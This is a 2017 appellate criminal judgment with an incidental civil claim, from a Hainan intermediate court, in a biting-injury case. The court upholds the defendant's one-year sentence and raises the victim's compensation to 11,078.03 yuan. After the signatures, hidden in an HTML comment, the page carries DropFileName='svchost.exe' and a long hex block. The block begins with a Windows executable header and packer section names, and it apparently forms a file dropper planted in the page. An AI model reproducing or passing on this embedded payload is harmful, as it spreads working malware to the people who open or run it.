海南省第二中级人民法院
p t ; ” > 刑 事 附 带 民 事 判 决 书
（2017）琼97刑终277号
海南省第二中级人民法院
刑事附带民事判决书
（2017）琼97刑终277号
原公诉机关海南省儋州市人民检察院。
上诉人（原审附带民事诉讼原告人）陈某，女，1975年9月1日出生，汉族，海南省儋州市人，农民，住海南省儋州市，公民身份号码×××。系本案被害人。
原审被告人杨波联，女，1956年11月13日出生，汉族，海南省儋州市人，文盲，农民，住海南省儋州市，公民身份号码×××。因涉嫌犯故意伤害罪，于2017年3月1日被刑事拘留，同年3月15日被逮捕。现押于儋州市第二看守所。
海南省儋州市人民法院审理儋州市人民检察院指控原审被告人杨波联犯故意伤害罪暨原审附带民事诉讼原告人陈某提起附带民事诉讼一案，于2017年8月9日作出（2017）琼9003刑初288号刑事附带民事判决。宣判后，在法定上诉期间内，原审被告人杨波联未上诉，公诉机关未抗诉，原审刑事部分判决已经发生法律效力。原审附带民事诉讼原告人陈某不服，提出上诉。本院依法组成合议庭，经过阅卷，询问上诉人，讯问被告人，认为事实清楚，决定不开庭审理本案。现已审理终结。
原判认定：2017年1月12日18时许，被告人杨波联以被害人陈某的丈夫王琼春打其孙子王伟琼为由，与其儿子王廷华来到位于儋州市××镇的陈某家中，与陈某发生争执。陈某用手将杨波联推出家门的过程中，杨波联抓住陈某左手并将陈某左小指咬伤。期间，陈某家中门、窗被王廷华损坏。经儋州市公安司法鉴定中心鉴定，陈某左小指的损伤已构成轻伤二级。
2017年3月1日，被告人杨波联在儋州市排浦镇黑石村被儋州市公安局传唤到案。
原判认定以上事实的证据有：
一、书证
1.常住人口登记表。证实：被告人杨波联出生于1956年11月13日，案发时已具备完全刑事责任能力。
2.到案经过。证实：2017年3月1日，被告人杨波联因将陈某左小指咬伤至轻伤二级被儋州市公安局传唤到案。
二、证人证言
1.王琼春的证言。主要内容：2017年1月12日18时许，杨波联带孙子到我家，说我打伤其孙子的颈部，杨波联不听我解释，硬说是我打伤其孙子，我不理她就出门跑三轮车了。后来听说杨波联因此事又与其儿子王廷华到我家里闹事，我妻子陈某和儿子害怕就躲进家里关上门，王廷华就用石头、木棍打烂我家2个门，我妻子用手推杨波联出家里过程中被其咬伤手指。
2.王琼波的证言。主要内容：2017年1月12日18时许，我路过我哥王琼春家时听到家里有争吵声，过去看见杨波联等人在现场争吵，嫂子陈某手指受伤，家中大门、窗户被打烂。
3.鉴定人王某在庭上的证言。主要内容:陈某的伤情鉴定根据陈某的病历材料等，并依照人体损伤程度鉴定标准5.10.4a、5.10.4b条之规定作出的。陈某的损伤为轻伤二级，对其日常生活没有影响。
三、被害人陈某的陈述。主要内容：2017年1月12日18时许，我在厨房做饭时听到有人砸门，出来后看到王廷华带人用脚踢我家门，我和儿子王建勇害怕就不敢开门，王廷华就往我家里丢石头。19时许，我听到外面没有动静就出来开门，一开门杨波联及王廷华就冲入我家吵闹，杨波联称我丈夫王琼春打其孙子，我见状就用力将杨波联往我家门外面推，杨波联就抓住我左手，并一口咬住我左手小手指，我被咬痛受不了就用力拉我的手指，用力一拉左手小手指就断了一截。杨波联还在我家继续吵闹，后来看到派出所的人要来才跑出我家。
四、现场勘验笔录及现场照片。证实：案发中心现场位于海南省儋州市××镇陈某家的院子，及现场概况。
五、儋州市公安司法鉴定中心儋公司鉴（法医）字[2017]42号《法医学人体损伤程度鉴定书》。证实：陈某左小指的损伤已构成轻伤二级。
六、被告人杨波联的供述。主要内容：2017年1月12日18时30分许，我回到家时孙子王伟琼称王琼春打他，我就带着孙子到王琼春家讨说法。王琼春不在家，仅看到王琼春妻子及其弟媳钟其龄，我找她们要个说法，但她们不理我，还一起把我猛往门外推。在此过程中，陈某用左手抓住我的胸口衣领往外推，我生气就一口咬住陈某的左手小拇指，用力一咬，陈某的左手小拇指就断了半截。咬陈某后她们仍继续把我往门外推，我儿子王廷华说她们打他侄子又打他母亲，王廷华就用脚踢王琼春家的门，尔后就离开了陈某家，一会派出所民警就赶到了。
原判另认定：陈某受伤后，于2017年1月12日至1月23日在儋州市人民医院住院治疗11天，医疗费人民币（以下币种同）6958.03元。住院期间，需一人护理。上述事实，有公安机关收集在案的病历材料等证据予以证实，足资认定。
原判认为，被告人杨波联因琐事与他人发生争执后，故意伤害他人身体致轻伤，其行为已构成故意伤害罪，应依法惩处。公诉机关指控被告人杨波联的犯罪事实清楚，证据确实、充分，指控罪名成立，应予支持。被告人杨波联到案后如实供述自己的犯罪事实，并当庭认罪，依法可从轻处罚；本案因邻里纠纷引发，可酌情从轻处罚。
由于被告人杨波联的犯罪行为致使附带民事诉讼原告人陈某遭受了经济损失，依法应当承担民事赔偿责任。陈某的诉讼请求应依照《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》（以下简称《人身损害赔偿解释》）的规定，及参照海南省统计局公布的《2015年海南省统计数据》予以确定，确定具体的赔偿项目和数额如下：1.医疗费6958.03元；2.误工费868.23元（78.93元/天×11天）；3.护理费868.23元（78.93元/天×11天）；4.住院伙食补助费700元（该项主张未超出法律规定范围，予以照准。）；5.交通费300元（根据往返路程及实际情况酌情予以认定）。陈某主张的精神损害抚慰金，不属于刑事附带民事诉讼案件受案范围，不予支持；关于营养费，陈某没有提供需要增加营养的相关证据，亦不予支持。关于后续治疗费，鉴于现在仍未实际发生，可在实际发生后另行提起民事诉讼。另陈某还主张由被告人杨波联赔偿被王廷华损坏的门板和窗框的修复费用5000元，该主张与杨波联的犯罪行为没有直接关联性，不属于犯罪行为所致的直接经济损失，系另一法律关系，不属附带民事诉讼赔偿范围。陈某的上述五项经济损失共计9694.49元，杨波联应承担赔偿责任。
综上，一审法院根据被告人杨波联犯罪的事实、犯罪的性质、情节和对于社会的危害程度，依照《中华人民共和国刑法》第二百三十四条第一款、第六十七条第三款、第三十六条第一款、《中华人民共和国民法通则》第一百一十九条之规定，判决：一、被告人杨波联犯故意伤害罪，判处有期徒刑一年；二、被告人杨波联自本判决生效之日起一个月内赔偿医疗费、误工费、护理费、住院伙食补助费、交通费等各项经济损失共计人民币9694.49元给附带民事诉讼原告人陈某；三、驳回附带民事诉讼原告人陈某的其他诉讼请求。
宣判后，原审附带民事诉讼原告人陈某不服，提出上诉称：一、一审判处被告人杨波联有期徒刑一年，量刑偏轻。杨波联犯罪行为恶劣，且不真心悔罪，应予从重惩处，应判处有期徒刑二年六个月。二、当地务工的工资标准为130元/天，一审以78.93元/天计算误工费、护理费错误，应予纠正。综上，一审判决适用法律错误，处理结果不当，请求二审法院改判：一、将判处被告人杨波联有期徒刑一年改为判处有期徒刑二年六个月；二、应按130元/天计算误工费、护理费，并重新核算陈某的各项经济损失；三、陈某诉讼费用由杨波联负担;四、赔偿款应由法院执行后交给陈某。
本院经依法全面审查原判决认定的事实与证据，本院审理查明的事实及证明该事实的证据除原判认定的住院治疗天数不予认定外，其他均与原判决一致。原审所采信的证据，均在原审庭审时进行了举证、质证，证据来源合法，内容客观真实，与案件事实具有关联性，本院予以确认。
另查明，陈某受伤后，于2017年1月12日至1月23日在儋州市人民医院住院治疗，共计12天。上述事实有业经原审庭审质证的儋州市人民医院入院记录、住院小结等予以证明，足资认定。
针对上诉人陈某上诉理由，本院综合评析如下：
一、关于对原审被告人杨波联的量刑问题。《中华人民共和国刑事诉讼法》（以下简称《刑事诉讼法》）第二百一十八条规定：”被害人及其法定代理人不服地方各级人民法院第一审的判决的，自收到判决书后五日以内，有权请求人民检察院提出抗诉。人民检察院自收到被害人及其法定代理人的请求后五日以内，应当作出是否抗诉的决定并且答复请求人。”第二百一十六条第二款规定：”附带民事诉讼的当事人和他们的法定代理人，可以对地方各级人民法院第一审的判决、裁定中的附带民事诉讼部分，提出上诉。”上诉人陈某作为附带民事诉讼原告人就原审被告人杨波联的量刑问题径行向二审法院提起上诉，于法无据，本院不予支持。
二、关于诉讼费用问题。首先，上诉人陈某在本案提起的是附带民事诉讼，人民法院并未收取其任何诉讼费用。其次，陈某在一审审理过程中亦无此项诉讼请求，纵使其在一审中提起此项诉请，但本案是附带民事诉讼，《刑事诉讼法》第九十九条第一款规定：”被害人由于被告人的犯罪行为而遭受物质损失的，在刑事诉讼过程中，有权提起附带民事诉讼。被害人死亡或者丧失行为能力的，被害人的法定代理人、近亲属有权提起附带民事诉讼。”即如果陈某因本案发生其他诉讼费用，亦不属于人民法院审理附带民事诉讼审理的范围。
三、关于赔偿款的执行。首先，由于上诉人陈某就本案的附带民事部分提起了上诉，本案的附带民事部分一审判决尚未生效，故本案现仍不存在执行的问题。其次，人民法院实行立审分开、审执分离的工作原则，陈某在二审程序中提出执行的上诉请求，于法无据。因此，对陈某的这一上诉请求，本院亦不予以支持。
四、关于误工费、护理费等各项经济损失。首先，经查，上诉人陈某的住院治疗时间共计12天，一审判决认定为11天错误，应予纠正。其次，关于误工费、护理费计算标准。《人身损害赔偿解释》第三十五条规定：”本解释所称'城镇居民人均可支配收入'、'农村居民人均纯收入'、'城镇居民人均消费性支出'、'农村居民人均年生活消费支出'、'职工平均工资'，按照政府统计部门公布的各省、自治区、直辖市以及经济特区和计划单列市上一年度相关统计数据确定。'上一年度'，是指一审法庭辩论终结时的上一统计年度。”一审判决适用2015年海南省统计数据的标准确定误工费、护理费错误，应予纠正。经查，海南省相关部门发布的2016年度儋州市在岗职工月平均工资为5392元（179.73元/天）。根据陈某身份情况，并结合儋州市本地务工的工资标准，陈某诉请按130元/天计算误工费、护理费于理有据，亦符合当地的实际情况，应予采纳。陈某在本案中的误工费为1560元（130元/天×12天）、护理费为1560元（130元/天×12天）。另经审查，原判附带民事诉讼部分认定上诉人陈某的医疗费为6958.03、住院伙食补助费为700元、交通费为300元等三项经济损失并无不当，对其诉请的精神损害抚慰金、营养费、后续治疗费、门窗损失等不予支持正确。因此，陈某在本案中遭受的物质损失应为11078.03元（医疗费6958.03＋住院伙食补助费700元＋交通费300元＋误工费1560元＋护理费1560元）。陈某的这一上诉请求及理由成立，应予支持。
本院认为，原审被告人杨波联因琐事故意伤害他人身体致轻伤，其行为已构成故意伤害罪。原判认定原审被告人杨波联犯故意伤害罪的事实清楚，证据确实充分，定罪准确，适用法律正确，量刑适当，审判程序合法。
原审被告人杨波联的犯罪行为造成上诉人陈某的物质损失，应依法赔偿。上诉人陈某关于医疗费6958.03、住院伙食补助费700元、交通费300元、误工费1560元、护理费1560元，共计11078.03元的诉讼请求符合法律规定，应予支持；对其超出上述赔偿项目的不合理部分，均不予支持。原判附带民事诉讼部分认定误工费、护理费的天数及计算标准等错误，应予纠正。上诉人陈某关于原判误工费、护理费计算错误的上诉请求及理由成立，应予支持；其他上诉上诉理由均不能成立，应予以驳回。
综上所述，依照《中华人民共和国刑法》第二百三十四条第一款、第三十六条第一款、第六十一条、第六十七条第三款，《中华人民共和国侵权责任法》第六条第一款，《中华人民共和国刑事诉讼法》第九十九条第一款、第二百二十五条第一款第（三）项，《最高人民法院关于适用<中华人民共和国刑事诉讼法>的解释》第一百四十三条第一款第（一）项、第一百五十五条第一款、第二款，及《中华人民共和国民事诉讼法》第六十四条第一款之规定，判决如下：
一、维持海南省儋州市人民法院（2017）琼9003刑初288号刑事附带民事判决第一项，即被告人杨波联犯故意伤害罪，判处有期徒刑一年；
二、撤销海南省儋州市人民法院（2017）琼9003刑初288号刑事附带民事判决第二项、第三项，即被告人杨波联自本判决生效之日起一个月内赔偿医疗费、误工费、护理费、住院伙食补助费、交通费等各项经济损失共计人民币9694.49元给附带民事诉讼原告人陈某，及驳回附带民事诉讼原告人陈某的其他诉讼请求。
三、原审被告人杨波联自本判决生效之日起一个月内赔偿上诉人（附带民事诉讼原告人）陈某医疗费6958.03、住院伙食补助费700元、交通费300元、误工费1560元、护理费1560元，共计11078.03元。
四、驳回上诉人（附带民事诉讼原告人）陈某的其他诉讼请求。
本判决为终审判决。
审判长文朝柏
审判员吴曼江
审判员王德红
二○一七年九月二十八日
法官助理吕文虎
书记员蔡六女
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF18200895152DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB